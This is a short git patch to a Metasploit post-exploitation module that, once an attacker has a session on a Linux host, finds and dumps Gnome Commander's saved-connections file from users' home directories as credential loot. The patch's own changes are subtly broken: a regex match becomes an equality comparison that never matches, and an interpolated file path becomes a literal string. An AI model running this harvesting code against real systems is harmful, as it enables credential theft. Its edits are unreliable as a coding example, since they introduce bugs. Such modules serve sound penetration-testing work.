From 2e5c2a514b7c3b1d25160805fda0ea64d6b3130a Mon Sep 17 00:00:00 2001 From: David Bloom Date: Thu, 24 Jul 2014 23:16:10 +0200 Subject: [PATCH] Update gnome_commander_creds.rb --- modules/post/linux/gather/gnome_commander_creds.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/linux/gather/gnome_commander_creds.rb b/modules/post/linux/gather/gnome_commander_creds.rb index 4d35fac127..1bf5687f6c 100644 --- a/modules/post/linux/gather/gnome_commander_creds.rb +++ b/modules/post/linux/gather/gnome_commander_creds.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post def run user_dirs = [] user = cmd_exec("whoami").chomp - if (user =~ /root/) + if (user == /root/) print_status("Current user is #{user}, probing all home dirs") user_dirs << '/root' cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp } @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post begin print_good("File found : #{connections_file}") print_line(read_file(connections_file)) - p = store_loot("connections", "text/plain", session, read_file(connections_file), "#{connections_file}", "Gnome-Commander connections") + p = store_loot("connections", "text/plain", session, read_file(connections_file), "connections_file", "Gnome-Commander connections") print_good ("Connections file saved to #{p}") print_line() rescue EOFError